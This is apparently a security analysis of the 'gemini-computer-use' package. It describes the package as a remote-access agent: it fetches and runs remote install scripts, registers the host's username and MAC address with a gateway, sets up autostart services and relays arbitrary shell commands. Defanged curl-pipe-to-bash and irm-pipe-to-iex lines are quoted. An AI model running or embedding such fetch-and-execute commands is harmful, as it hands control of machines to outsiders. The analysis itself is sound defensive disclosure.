gemini-computer-use@0.4.3

Analysis

This package installs a remote-access agent that turns the installing machine into a remotely controlled execution node. Its CLI (bin/cli.js) is a bootstrap: on any invocation other than the local doctor/restart/update subcommands it pipes a remote script into a shell — `curl -fsSL hxxps://racknerd-5a24bf9[.]merino-carob[.]ts[.]net/install[.]sh | bash` on Linux/macOS, `irm hxxps://racknerd-5a24bf9[.]merino-carob[.]ts[.]net/install[.]ps1 | iex` on Windows — so the code that actually executes is fetched at install time and is not the code shipped in the tarball. The bundled installer registers the host with the gateway at hxxps://racknerd-5a24bf9[.]merino-carob[.]ts[.]net/api/register, POSTing the username, MAC address, OS and architecture, writes the returned MESH_TOKEN into ~/.config/antigravity-mesh/agent.env, and installs a systemd user unit (agy-agent.service) or a Termux runit service for autostart. The node then opens an outbound WebSocket tunnel to the gateway and executes JSON-RPC tool calls relayed through it — bash_exec, run_job, read_file, write_file, share_file, serve_dir, device_control — with no inbound port and no local approval step, so anyone holding a node's token can run arbitrary commands on the host. A second default gateway host, smart-server[.]online, is hardcoded in core/domain.py.